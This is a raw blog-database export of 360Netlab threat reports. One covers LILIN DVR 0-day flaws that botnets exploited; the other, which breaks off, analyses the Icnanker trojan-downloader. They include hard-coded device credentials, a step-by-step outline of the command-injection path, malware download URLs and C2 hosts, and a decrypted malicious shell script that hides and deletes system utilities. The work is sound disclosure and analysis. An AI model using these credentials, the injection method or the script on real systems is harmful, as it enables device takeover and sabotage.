处置建议\n我们建议用户根据Icnanker的帐号创建，文件名及与HFS服务器的网络通信，判断是否感染，然后清理它的相关进程，文件。\n相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。\n## 联系我们\n感兴趣的读者，可以在 [Twitter](https://twitter.com/360Netlab) 或者在微信公众号 360Netlab 上联系我们。\n## IoC list\n### Sample MD5\n```\n5790dedae465994d179c63782e51bac1\n6abe83ee8481b5ce0894d837eabb41df\n89cd1ebfa5757dca1286fd925e0762de\nd989e81c4eb23c1e701024ed26f55849\n5c90bfbae5c030da91c9054ecb3194b6\neec19f1639871b6e6356e7ee05db8a94\n0764da93868218d6ae999ed7bd66a98e\n17ac3bd2753b900367cb9ee4068fe0c1\n765a0899cb87400e8a27ab572f3cdd61\n187fa428ed44f006df0c8232be4a6e4e\n```\n \n### CC\n```\nubt.ubtv.xyz:19880 #Elknot\nsys.jave.xyz:1764 #Elknot\njav.jave.xyz:6001 #Elknot\n8uch.jave.xyz:3478 #Xor.DDoS\n8uc1.jave.xyz:1987 #Xor.DDoS\n8uc2.ubtv.xyz:2987 #Xor.DDoS\nxz.jave.xyz:22345 #Icnanker HFS\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e7463167646030007b26715 |
post | null | 2020-03-20T14:55:52.000Z | 63873b9a8b1c1e0007f52f66 | multiple-botnets-are-spreading-using-lilin-dvr-0-day-en | 0 | 2022-02-09T07:09:57.000Z | public | published | null | 2020-03-20T15:53:28.000Z | Multiple botnets are spreading using LILIN DVR 0-day | <!--kg-card-begin: markdown--><p><em>Author：Yanlong Ma，Lingming Tu，Genshen Ye，Hongda Liu</em></p>
<blockquote>
<p>When we talk about DDos botnet, we tend to think the typical scenario, some mediocre, code-borrowing scripts target old vulnerabilities. But things actually have started to change, we noticed more and more attackers beginning to use 0-day vulnerabilities.</p>
</blockquote>
<h3 id="background">Background</h3>
<p>Starting from August 30, 2019, 360Netlab Threat Detection System has flagged multiple attack groups using LILIN DVR 0-day vulnerabilities to spread Chalubo[<a href="https://news.sophos.com/en-us/2018/10/22/chalubo-botnet-wants-to-ddos-from-your-server-or-iot-device/">1]</a>, FBot[<a href="__GHOST_URL__/tag/fbot/">2]</a>, Moobot[<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">3]</a> botnets.</p>
<p>On January 19, 2020, we reached out to the equipment manufacturer LILIN. On February 13, 2020, the vendor fixed the vulnerability[<a href="https://www.meritlilin.com/assets/uploads/support/file/M00158-TW.pdf">4]</a>, and released the latest firmware program 2.0b60_20200207[<a href="https://www.meritlilin.com/tw/support/file/type/Firmware">5]</a>.</p>
<h3 id="vulnerabilityanalysis">Vulnerability analysis</h3>
<p>The LILIN 0-day vulnerability is made of 3 parts: hard-coded login credentials, <code>/z/zbin/dvr_box</code> command injection vulnerabilities and <code>/z/zbin/net_html.cgi</code> arbitrary file reading vulnerabilities, <code>/z/zbin/dvr_box</code> provides Web services, and its web interface <code>/dvr/cmd</code> and <code>/cn/cmd</code> have a command injection vulnerability. The injected parameters have been: NTPUpdate, FTP, and NTP.</p>
<p>List of hardcoded login credentials:</p>
<pre><code>root/icatch99
report/8Jg0SR8K50
</code></pre>
<p>Default login credentials:</p>
<pre><code>admin/123456
</code></pre>
<h4 id="ntpupdateinjectionvulnerabilityanalysis">NTPUpdate injection vulnerability analysis</h4>
<ol>
<li><code>/z/zbin/dvr_box</code> The <code>dvr_serv::do_request()</code> function is responsible for parsing the <code>DVRPOST</code> incoming XML configuration and calling the corresponding processing function;</li>
<li><code>dvr_core::NTPUpdate()</code> The processing function passes the Server field into a function in the dependent library libutility.so <code>UtilityBox::UtilityNtp::run()</code>;</li>
<li><code>UtilityBox::UtilityNtp::run()</code> The function splices and executes the ntp time synchronization command according to the value of the Server field;</li>
<li>The above process chain does not filter special characters in the Server field, command injection becomes possible.<br>
In the newly patched version <code>2.0b60_20200207</code>, the vendor fixed the vulnerability by calling <code>UtilityBox::Utility::ValidateHostName()</code> to<br>
checks the Server field at step 3<br>
<a href="__GHOST_URL__/content/images/2020/03/NTPUpdate.png"><img src="__GHOST_URL__/content/images/2020/03/NTPUpdate.png" class="kg-image"/></a></li>
</ol>
<h4 id="ftpandntpinjectionvulnerabilityanalysis">FTP and NTP injection vulnerability analysis</h4>
<ol>
<li>Device configuration <code>/zconf/service.xml</code>, can be obtained through hard-coded login account password and <code>/z/zbin/net_html.cgi</code> arbitrary file reading [<a href="https://icatch99.blogspot.com/2019/11/icatch-dvr.html">6]</a>;</li>
<li>By modifying the Server field of the FTP or NTP parameters in the <code>/zconf/service.xml</code>, backdoor command can be injected;</li>
<li>Remotely access the <code>/dvr/cmd</code> interface through hard-coded account passwords, then use the SetConfiguration<br>
function to upload the modified XML entity, now the configuration files can be written to the target device</li>
<li>The device periodically synchronizes the FTP or NTP configuration, which triggers the command execution.</li>
</ol>
<p>It is worth noting that the command injection for FTP or NTP configuration relies on the network configuration obtained in steps 1 and 2. If step 3 is executed directly, the device will come offline.</p>
<p>In the newly patched version <code>2.0b60_20200207</code>, the vendor has fixed this vulnerability, <code>/z/zbin/dvr_box</code> now calls the <code>UtilityBox::Utility::ValidateHostName()</code> function to check the Server field when writing the configuration.</p>
<p><a href="__GHOST_URL__/content/images/2020/03/NTP-FTP.png"><img src="__GHOST_URL__/content/images/2020/03/NTP-FTP.png" class="kg-image"/></a></p>
<h3 id="timeline">Timeline</h3>
<pre><code>2019/08/30 We discovered Chalubo was spreading through the LILIN 0-day NTPUpdate vulnerability.
2020/01/11 We discovered that FBot was spread through the LILIN 0-day FTP / NTP vulnerability.
2020/01/19 We reached out to the vendor.
2020/01/26 We discovered that Moobot was spreading through the LILIN 0-day FTP vulnerability.
2020/02/10 We reached out to the vendor again.
2020/02/12 We provided the FTP and NTP 0 day PoC details to the vendor.
2020/02/14 Vendor replied and fixed the vulnerability, and a new firmware 2.0b60_20200207 was released.
</code></pre>
<h3 id="affectedfirmwarelist">Affected firmware list</h3>
<pre><code>LILIN DHD516A
* 2.0b1_20191202 - JPEG C4 panels
* 2.0b1_20180828 - RTSP works
LILIN DHD508A
* 2.0b1_20180828 - RTSP works
LILIN DHD504A
* 2.0b1_20191202 - JPEG C4 panels
* 2.0b1_20190417 - JPEG C4 panels
LILIN DHD316A
* 2.0b1_20180828
* 2.0b1_20171128 C4 Panels
LILIN DHD308A
* 2.0b1_20180828
LILIN DHD304A
* 2.0b1_20180828
LILIN DHD204 IP Camera
* 1.06_20151201
LILIN DHD204A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
LILIN DHD208 IP Camera
* 2.0b60_20160504
LILIN DHD208A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
LILIN DHD216 IP Camera
* 2.0b60 20151111
LILIN DHD216A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
</code></pre>
<h3 id="suggestions">Suggestions</h3>
<p>LILIN users should check and update their device firmwares in a timely fashion, and strong login credentials for the device should be enforced.</p>
<p>The relevant malicious IPs, URLs and domains should be blocked and investigated on users’network.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h3 id="ioclist">IoC list</h3>
<p>MD5</p>
<pre><code>0bf499baf3f0e623975a54225e9bd1a9
0d5193bdf74c87a14696f320d6808077
0f863f624da0d74094cb0f91cc226281
10ac26ef8571896efa3ee9495c0b71f5
164cc07fe71cd4db13133743e13612d8
20e8dd1fa2cc5e05ed2052c543f91ce1
21023609945be3f70459d30d1eec662e
267115637ef139b67007ee357c5397f6
3085b8f16c1ee686aa3bc3d1a91803f4
47e005e3136430452a0626b82f59ce15
4b87280c0b1b2b975c4f7412499400f2
502020b53b7bc053e0e3d8b85b5e7963
61a6ea1590c4f06a6966e944ebd4d81b
62d53eb2b05a3fa779ebca2d08b1d649
6a55850ea54668d98c32ffe954cd5d85
8bf81cdcfecead61b2531dcff597b133
9c9b1b98d9c7863df5905ff877767c55
a3b4868ec1671ffab6b509d62ea129ac
a6142ce837fd402ab9570ab58d46ad10
aa4561de55bdbd95702342b820910e0a
ad151215c9d7c02e6b75fe2e51f91f0b
d72ca8cd3e0e7b9f1f5dd62ca5113c8c
da3d3df2fa7d539899b27c64300807a2
e3f79edf54d590568791f77318ac0578
e95c363dc97ff58f5f22633517be6969
ee227f53a1c1e24edfa9f44c9c6a009f
f76b0363f016a0d4ec6124b844e10cff
feee13e2908e4e3d18104896d912fbf9
ffc20926598b277e509c7bf3465557eb
</code></pre>
<p>URL</p>
<pre><code>http://103.27.185.139/icatchplugin1
http://185.183.96.139/g
http://188.209.49.219/f
http://188.209.49.244/f
http://188.209.49.244/r
http://188.209.49.244/usa
http://190.115.18.37/f
http://45.10.90.89/j
http://45.10.90.89/z
http://46.166.151.200/w
http://74.91.115.209/w
http://82.223.101.182/f
http://82.223.101.182/k
</code></pre>
<p>C2</p>
<pre><code>lakusdvroa.com:8080 #Chalubo
45.10.90.89:61002 #FBot
wor.wordtheminer.com:8725 #Moobot
nlocalhost.wordtheminer.com:422 #Moobot_xor
nlocalhost.wordtheminer.com:9746 #Moobot_xor
</code></pre>
<p>IP</p>
<pre><code>45.10.90.89 Ukraine ASN48693 Rices Privately owned enterprise
46.166.151.200 Netherlands ASN43350 NForce Entertainment B.V.
74.91.115.209 United States ASN14586 Nuclearfallout Enterprises, Inc.
82.223.101.182 Spain ASN8560 1&1 Ionos Se
103.27.185.139 Japan ASN134835 Starry Network Limited
185.183.96.139 Netherlands ASN60117 Host Sailor Ltd.
188.209.49.219 Netherlands ASN49349 Dotsi, Unipessoal Lda.
188.209.49.244 Netherlands ASN49349 Dotsi, Unipessoal Lda.
190.115.18.37 Belize ASN262254 DANCOM LTD
</code></pre>
<!--kg-card-end: markdown--> | Author：Yanlong Ma，Lingming Tu，Genshen Ye，Hongda Liu
When we talk about DDos botnet, we tend to think the typical scenario, some mediocre, code-borrowing scripts target old vulnerabilities. But things actually have started to change, we noticed more and more attackers beginning to use 0-day vulnerabilities.
Background
Starting from August 30, 2019, 360Netlab Threat Detection System has flagged multiple attack groups using LILIN DVR 0-day vulnerabilities to spread Chalubo[1], FBot[2], Moobot[3] botnets.
On January 19, 2020, we reached out to the equipment manufacturer LILIN. On February 13, 2020, the vendor fixed the vulnerability[4], and released the latest firmware program 2.0b60_20200207[5].
Vulnerability analysis
The LILIN 0-day vulnerability is made of 3 parts: hard-coded login credentials, /z/zbin/dvr_box command injection vulnerabilities and /z/zbin/net_html.cgi arbitrary file reading vulnerabilities, /z/zbin/dvr_box provides Web services, and its web interface /dvr/cmd and /cn/cmd have a command injection vulnerability. The injected parameters have been: NTPUpdate, FTP, and NTP.
List of hardcoded login credentials:
root/icatch99
report/8Jg0SR8K50
Default login credentials:
admin/123456
NTPUpdate injection vulnerability analysis
1. /z/zbin/dvr_box The dvr_serv::do_request() function is responsible for parsing the DVRPOST incoming XML configuration and calling the corresponding processing function;
2. dvr_core::NTPUpdate() The processing function passes the Server field into a function in the dependent library libutility.so UtilityBox::UtilityNtp::run();
3. UtilityBox::UtilityNtp::run() The function splices and executes the ntp time synchronization command according to the value of the Server field;
4. The above process chain does not filter special characters in the Server field, command injection becomes possible.
In the newly patched version 2.0b60_20200207, the vendor fixed the vulnerability by calling UtilityBox::Utility::ValidateHostName() to
checks the Server field at step 3
FTP and NTP injection vulnerability analysis
1. Device configuration /zconf/service.xml, can be obtained through hard-coded login account password and /z/zbin/net_html.cgi arbitrary file reading [6];
2. By modifying the Server field of the FTP or NTP parameters in the /zconf/service.xml, backdoor command can be injected;
3. Remotely access the /dvr/cmd interface through hard-coded account passwords, then use the SetConfiguration
function to upload the modified XML entity, now the configuration files can be written to the target device
4. The device periodically synchronizes the FTP or NTP configuration, which triggers the command execution.
It is worth noting that the command injection for FTP or NTP configuration relies on the network configuration obtained in steps 1 and 2. If step 3 is executed directly, the device will come offline.
In the newly patched version 2.0b60_20200207, the vendor has fixed this vulnerability, /z/zbin/dvr_box now calls the UtilityBox::Utility::ValidateHostName() function to check the Server field when writing the configuration.
Timeline
2019/08/30 We discovered Chalubo was spreading through the LILIN 0-day NTPUpdate vulnerability.
2020/01/11 We discovered that FBot was spread through the LILIN 0-day FTP / NTP vulnerability.
2020/01/19 We reached out to the vendor.
2020/01/26 We discovered that Moobot was spreading through the LILIN 0-day FTP vulnerability.
2020/02/10 We reached out to the vendor again.
2020/02/12 We provided the FTP and NTP 0 day PoC details to the vendor.
2020/02/14 Vendor replied and fixed the vulnerability, and a new firmware 2.0b60_20200207 was released.
Affected firmware list
LILIN DHD516A
* 2.0b1_20191202 - JPEG C4 panels
* 2.0b1_20180828 - RTSP works
LILIN DHD508A
* 2.0b1_20180828 - RTSP works
LILIN DHD504A
* 2.0b1_20191202 - JPEG C4 panels
* 2.0b1_20190417 - JPEG C4 panels
LILIN DHD316A
* 2.0b1_20180828
* 2.0b1_20171128 C4 Panels
LILIN DHD308A
* 2.0b1_20180828
LILIN DHD304A
* 2.0b1_20180828
LILIN DHD204 IP Camera
* 1.06_20151201
LILIN DHD204A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
LILIN DHD208 IP Camera
* 2.0b60_20160504
LILIN DHD208A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
LILIN DHD216 IP Camera
* 2.0b60 20151111
LILIN DHD216A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
Suggestions
LILIN users should check and update their device firmwares in a timely fashion, and strong login credentials for the device should be enforced.
The relevant malicious IPs, URLs and domains should be blocked and investigated on users’network.
Contact us
Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
IoC list
MD5
0bf499baf3f0e623975a54225e9bd1a9
0d5193bdf74c87a14696f320d6808077
0f863f624da0d74094cb0f91cc226281
10ac26ef8571896efa3ee9495c0b71f5
164cc07fe71cd4db13133743e13612d8
20e8dd1fa2cc5e05ed2052c543f91ce1
21023609945be3f70459d30d1eec662e
267115637ef139b67007ee357c5397f6
3085b8f16c1ee686aa3bc3d1a91803f4
47e005e3136430452a0626b82f59ce15
4b87280c0b1b2b975c4f7412499400f2
502020b53b7bc053e0e3d8b85b5e7963
61a6ea1590c4f06a6966e944ebd4d81b
62d53eb2b05a3fa779ebca2d08b1d649
6a55850ea54668d98c32ffe954cd5d85
8bf81cdcfecead61b2531dcff597b133
9c9b1b98d9c7863df5905ff877767c55
a3b4868ec1671ffab6b509d62ea129ac
a6142ce837fd402ab9570ab58d46ad10
aa4561de55bdbd95702342b820910e0a
ad151215c9d7c02e6b75fe2e51f91f0b
d72ca8cd3e0e7b9f1f5dd62ca5113c8c
da3d3df2fa7d539899b27c64300807a2
e3f79edf54d590568791f77318ac0578
e95c363dc97ff58f5f22633517be6969
ee227f53a1c1e24edfa9f44c9c6a009f
f76b0363f016a0d4ec6124b844e10cff
feee13e2908e4e3d18104896d912fbf9
ffc20926598b277e509c7bf3465557eb
URL
http://103.27.185.139/icatchplugin1
http://185.183.96.139/g
http://188.209.49.219/f
http://188.209.49.244/f
http://188.209.49.244/r
http://188.209.49.244/usa
http://190.115.18.37/f
http://45.10.90.89/j
http://45.10.90.89/z
http://46.166.151.200/w
http://74.91.115.209/w
http://82.223.101.182/f
http://82.223.101.182/k
C2
lakusdvroa.com:8080 #Chalubo
45.10.90.89:61002 #FBot
wor.wordtheminer.com:8725 #Moobot
nlocalhost.wordtheminer.com:422 #Moobot_xor
nlocalhost.wordtheminer.com:9746 #Moobot_xor
IP
45.10.90.89 Ukraine ASN48693 Rices Privately owned enterprise
46.166.151.200 Netherlands ASN43350 NForce Entertainment B.V.
74.91.115.209 United States ASN14586 Nuclearfallout Enterprises, Inc.
82.223.101.182 Spain ASN8560 1&1 Ionos Se
103.27.185.139 Japan ASN134835 Starry Network Limited
185.183.96.139 Netherlands ASN60117 Host Sailor Ltd.
188.209.49.219 Netherlands ASN49349 Dotsi, Unipessoal Lda.
188.209.49.244 Netherlands ASN49349 Dotsi, Unipessoal Lda.
190.115.18.37 Belize ASN262254 DANCOM LTD
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*Author：Yanlong Ma，Lingming Tu，Genshen Ye，Hongda Liu*\n\n> When we talk about DDos botnet, we tend to think the typical scenario, some mediocre, code-borrowing scripts target old vulnerabilities. But things actually have started to change, we noticed more and more attackers beginning to use 0-day vulnerabilities. \n\n### Background\nStarting from August 30, 2019, 360Netlab Threat Detection System has flagged multiple attack groups using LILIN DVR 0-day vulnerabilities to spread Chalubo[[1\\]](https://news.sophos.com/en-us/2018/10/22/chalubo-botnet-wants-to-ddos-from-your-server-or-iot-device/), FBot[[2\\]](__GHOST_URL__/tag/fbot/), Moobot[[3\\]](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/) botnets.\n\nOn January 19, 2020, we reached out to the equipment manufacturer LILIN. On February 13, 2020, the vendor fixed the vulnerability[[4\\]](https://www.meritlilin.com/assets/uploads/support/file/M00158-TW.pdf), and released the latest firmware program 2.0b60_20200207[[5\\]](https://www.meritlilin.com/tw/support/file/type/Firmware).\n\n\n### Vulnerability analysis\nThe LILIN 0-day vulnerability is made of 3 parts: hard-coded login credentials, `/z/zbin/dvr_box` command injection vulnerabilities and `/z/zbin/net_html.cgi` arbitrary file reading vulnerabilities, `/z/zbin/dvr_box` provides Web services, and its web interface `/dvr/cmd` and `/cn/cmd` have a command injection vulnerability. The injected parameters have been: NTPUpdate, FTP, and NTP.\n\nList of hardcoded login credentials:\n```\nroot/icatch99\nreport/8Jg0SR8K50\n```\n\nDefault login credentials:\n```\nadmin/123456\n```\n\n#### NTPUpdate injection vulnerability analysis\n1. `/z/zbin/dvr_box` The `dvr_serv::do_request()` function is responsible for parsing the `DVRPOST` incoming XML configuration and calling the corresponding processing function;\n2. `dvr_core::NTPUpdate()` The processing function passes the Server field into a function in the dependent library libutility.so `UtilityBox::UtilityNtp::run()`;\n3. `UtilityBox::UtilityNtp::run()` The function splices and executes the ntp time synchronization command according to the value of the Server field;\n4. The above process chain does not filter special characters in the Server field, command injection becomes possible.\nIn the newly patched version `2.0b60_20200207`, the vendor fixed the vulnerability by calling `UtilityBox::Utility::ValidateHostName()` to\nchecks the Server field at step 3\n<a href=\"__GHOST_URL__/content/images/2020/03/NTPUpdate.png\"><img src=\"__GHOST_URL__/content/images/2020/03/NTPUpdate.png\" class=\"kg-image\"/></a>\n\n\n#### FTP and NTP injection vulnerability analysis\n1. Device configuration `/zconf/service.xml`, can be obtained through hard-coded login account password and `/z/zbin/net_html.cgi` arbitrary file reading [[6\\]](https://icatch99.blogspot.com/2019/11/icatch-dvr.html);\n2. By modifying the Server field of the FTP or NTP parameters in the `/zconf/service.xml`, backdoor command can be injected;\n3. Remotely access the `/dvr/cmd` interface through hard-coded account passwords, then use the SetConfiguration\nfunction to upload the modified XML entity, now the configuration files can be written to the target device\n4. The device periodically synchronizes the FTP or NTP configuration, which triggers the command execution.\n\nIt is worth noting that the command injection for FTP or NTP configuration relies on the network configuration obtained in steps 1 and 2. If step 3 is executed directly, the device will come offline.\n\nIn the newly patched version `2.0b60_20200207`, the vendor has fixed this vulnerability, `/z/zbin/dvr_box` now calls the `UtilityBox::Utility::ValidateHostName()` function to check the Server field when writing the configuration.\n\n<a href=\"__GHOST_URL__/content/images/2020/03/NTP-FTP.png\"><img src=\"__GHOST_URL__/content/images/2020/03/NTP-FTP.png\" class=\"kg-image\"/></a>\n\n### Timeline\n```\n2019/08/30 We discovered Chalubo was spreading through the LILIN 0-day NTPUpdate vulnerability.\n2020/01/11 We discovered that FBot was spread through the LILIN 0-day FTP / NTP vulnerability.\n2020/01/19 We reached out to the vendor.\n2020/01/26 We discovered that Moobot was spreading through the LILIN 0-day FTP vulnerability.\n2020/02/10 We reached out to the vendor again.\n2020/02/12 We provided the FTP and NTP 0 day PoC details to the vendor.\n2020/02/14 Vendor replied and fixed the vulnerability, and a new firmware 2.0b60_20200207 was released.\n```\n\n### Affected firmware list\n```\nLILIN DHD516A\n* 2.0b1_20191202 - JPEG C4 panels\n* 2.0b1_20180828 - RTSP works\n \nLILIN DHD508A\n* 2.0b1_20180828 - RTSP works\n \nLILIN DHD504A\n* 2.0b1_20191202 - JPEG C4 panels\n* 2.0b1_20190417 - JPEG C4 panels\n \nLILIN DHD316A\n* 2.0b1_20180828\n* 2.0b1_20171128 C4 Panels\n \nLILIN DHD308A\n* 2.0b1_20180828\n \nLILIN DHD304A\n* 2.0b1_20180828\n \nLILIN DHD204 IP Camera\n* 1.06_20151201\n \nLILIN DHD204A IP Camera\n* 2.0b60_20160223\n* 2.0b60_20161123\n \nLILIN DHD208 IP Camera\n* 2.0b60_20160504\n \nLILIN DHD208A IP Camera\n* 2.0b60_20160223\n* 2.0b60_20161123\n \nLILIN DHD216 IP Camera\n* 2.0b60 20151111\n\nLILIN DHD216A IP Camera\n* 2.0b60_20160223\n* 2.0b60_20161123\n```\n\n### Suggestions\nLILIN users should check and update their device firmwares in a timely fashion, and strong login credentials for the device should be enforced.\n\nThe relevant malicious IPs, URLs and domains should be blocked and investigated on users’network.\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\n\n### IoC list\n\nMD5\n```\n0bf499baf3f0e623975a54225e9bd1a9\n0d5193bdf74c87a14696f320d6808077\n0f863f624da0d74094cb0f91cc226281\n10ac26ef8571896efa3ee9495c0b71f5\n164cc07fe71cd4db13133743e13612d8\n20e8dd1fa2cc5e05ed2052c543f91ce1\n21023609945be3f70459d30d1eec662e\n267115637ef139b67007ee357c5397f6\n3085b8f16c1ee686aa3bc3d1a91803f4\n47e005e3136430452a0626b82f59ce15\n4b87280c0b1b2b975c4f7412499400f2\n502020b53b7bc053e0e3d8b85b5e7963\n61a6ea1590c4f06a6966e944ebd4d81b\n62d53eb2b05a3fa779ebca2d08b1d649\n6a55850ea54668d98c32ffe954cd5d85\n8bf81cdcfecead61b2531dcff597b133\n9c9b1b98d9c7863df5905ff877767c55\na3b4868ec1671ffab6b509d62ea129ac\na6142ce837fd402ab9570ab58d46ad10\naa4561de55bdbd95702342b820910e0a\nad151215c9d7c02e6b75fe2e51f91f0b\nd72ca8cd3e0e7b9f1f5dd62ca5113c8c\nda3d3df2fa7d539899b27c64300807a2\ne3f79edf54d590568791f77318ac0578\ne95c363dc97ff58f5f22633517be6969\nee227f53a1c1e24edfa9f44c9c6a009f\nf76b0363f016a0d4ec6124b844e10cff\nfeee13e2908e4e3d18104896d912fbf9\nffc20926598b277e509c7bf3465557eb\n```\n\nURL\n```\nhttp://103.27.185.139/icatchplugin1\nhttp://185.183.96.139/g\nhttp://188.209.49.219/f\nhttp://188.209.49.244/f\nhttp://188.209.49.244/r\nhttp://188.209.49.244/usa\nhttp://190.115.18.37/f\nhttp://45.10.90.89/j\nhttp://45.10.90.89/z\nhttp://46.166.151.200/w\nhttp://74.91.115.209/w\nhttp://82.223.101.182/f\nhttp://82.223.101.182/k\n```\n\nC2\n```\nlakusdvroa.com:8080 #Chalubo\n45.10.90.89:61002 #FBot\nwor.wordtheminer.com:8725 #Moobot\nnlocalhost.wordtheminer.com:422 #Moobot_xor\nnlocalhost.wordtheminer.com:9746 #Moobot_xor\n```\n\nIP\n```\n45.10.90.89 \tUkraine \tASN48693 \tRices Privately owned enterprise\n46.166.151.200 \tNetherlands \tASN43350 \tNForce Entertainment B.V.\n74.91.115.209 \tUnited States \tASN14586 \tNuclearfallout Enterprises, Inc.\n82.223.101.182 \tSpain \tASN8560 \t1&1 Ionos Se \n103.27.185.139 \tJapan \tASN134835 \tStarry Network Limited\n185.183.96.139 \tNetherlands \tASN60117 \tHost Sailor Ltd. \n188.209.49.219 \tNetherlands \tASN49349 \tDotsi, Unipessoal Lda.\n188.209.49.244 \tNetherlands \tASN49349 \tDotsi, Unipessoal Lda.\n190.115.18.37 \tBelize \tASN262254 \tDANCOM LTD \n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e74d9787646030007b268e9 |
post | null | 2020-03-23T02:47:02.000Z | 63873b9a8b1c1e0007f52f67 | icnanker-trojan-downloader-shc-en | 0 | 2020-03-23T13:53:46.000Z | public | published | null | 2020-03-23T13:38:00.000Z | Icnanker, a Linux Trojan-Downloader Protected by SHC | <!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>On August 15, 2019, 360Netlab Threat Detecting System flagged an unknown ELF sample (5790dedae465994d179c63782e51bac1) which generated Elknot Botnet related network traffic. We manually took a look and noticed that it is a Trojan-Downloader which utilizes "SHC (Shell script compiler)" technique and propgrates through weak SSH credentials. The author appeared to be an old player Icnanker. Icnanker was exposed on the Internet in 2015 as a script programmer, who has a high-profile personality and likes to leave his QQ number and name in his codes. The sample, in our opinion, was not much new and therefore we did not bother to write anything.</p>
<p>On March 12, 2020, IntezerLab twittered about a <a href="https://twitter.com/IntezerLabs/status/1238090121624379392">Icnanker</a> variant (6abe83ee8481b5ce0894d837eabb41df). They did not give much details and we figured it is probably worth writing down a few interesting features that we observed.</p>
<h2 id="overview">Overview</h2>
<p>Icnanker is the first Linux malware family we observed that uses <a href="https://github.com/neurobin/shc">SHC</a>. Its name is derived from the author's ID "by icnanker" in the script.</p>
<p>The current Icnanker samples can be divided into 2 categories according to their functions:</p>
<ul>
<li>
<p>Protector<br>
Protector is used to protect samples from being deleted. It is currently used to protect Mining service.</p>
</li>
<li>
<p>Downloader<br>
Downloader is mainly used to facilitate DDos and Mining attacks. Currently its samples include Elknot Botnet, Xor Botnet and XMRMiner. On Icnanker-related HFS servers, we can see that the current download volume is at 20,114, and about 500 increment per day.<br>
<a href="__GHOST_URL__/content/images/2020/03/shc_hfs-3.png"><img src="__GHOST_URL__/content/images/2020/03/shc_hfs-3.png" class="kg-image"/></a><br>
The main functions of Downloader are:</p>
</li>
<li>
<p>Persistence</p>
</li>
<li>
<p>Hide itself</p>
</li>
<li>
<p>Delete system command</p>
</li>
<li>
<p>Add new users</p>
</li>
<li>
<p>Download and execute specific samples</p>
</li>
</ul>
<h2 id="reverseanalysis">Reverse analysis</h2>
<p>Let's take a look at the following two samples.<br>
<mark>187fa428ed44f006df0c8232be4a6e4e</mark> Miner Protector,<br>
<mark>5790dedae465994d179c63782e51bac1</mark> Elknot Botnet Downloader.</p>
<blockquote>
<p>MD5:5790dedae465994d179c63782e51bac1</p>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped</p>
<p>Packer: No</p>
<p><strong>Verdict:Malicious,Downloader</strong></p>
</blockquote>
<blockquote>
<p>187fa428ed44f006df0c8232be4a6e4e<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped</p>
<p>Packer:No</p>
<p><strong>Verdict:Malicious,Protector</strong></p>
</blockquote>
<p>We know on the Windows platform, there is a technology for packaging BAT scripts into executable files, which is called Bat2Exe. Similarly, on the Linux platform,there is an open source "SHC (Shell script compiler)" that packs shell scripts into executable files. SHC uses the RC4 algorithm to encrypt the original script. The ELF file generated by it has very obvious characteristics: the RC4 decryption function is called a total of 14 times,and there are many unique strings. Security researchers can tell fairly easily whether ELF is generated by SHC.</p>
<p><a href="__GHOST_URL__/content/images/2020/03/shc_flag.png"><img src="__GHOST_URL__/content/images/2020/03/shc_flag.png" class="kg-image"/></a><br>
As mentioned above, we can use the RC4 algorithm to manually extract the original script. (Another option is to use <a href="https://github.com/yanncam/UnSHc">UnSHc</a> to directly decrypt the script)</p>
<pre><code class="language-bash">[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...
[0] Working with var address at offset [0x80ed087] (0x2a bytes)
[1] Working with var address at offset [0x80ed0df] (0x1 bytes)
...............
[12] Working with var address at offset [0x80f1280] (0x13 bytes)
[13] Working with var address at offset [0x80f12b1] (0x13 bytes)
[*] Extracting password...
[+] PWD address found : [0x80f12ed]
[+] PWD size found : [0x100]
[*] Executing [/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]
[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]
[*] All done!
...............
[*] Executing [/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]
[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]
[*] All done!
</code></pre>
<h3 id="protector187fa428ed44f006df0c8232be4a6e4esh">Protector (187fa428ed44f006df0c8232be4a6e4e.sh)</h3>
<pre><code>#!/bin/bash
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 777 /usr/bin/lockr
chmod 777 /usr/bin/.locks
lockr +i /usr/bin/lockr >/dev/null 2>&1
lockr +i /usr/bin/.locks >/dev/null 2>&1
.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr
lockr +i /usr/bin/lockr >/dev/null 2>&1
cp -f /usr/bin/lsattr /usr/bin/lockrc
cp -f /usr/bin/lsattr /usr/bin/.locksc
cp -f /usr/bin/.locksc /usr/bin/lockrc
chmod 777 /usr/bin/lockrc
chmod 777 /usr/bin/.locksc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
lockr +i /usr/bin/.locksc >/dev/null 2>&1
.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
rm -rf /usr/bin/lsattr
rm -rf /usr/bin/chattr
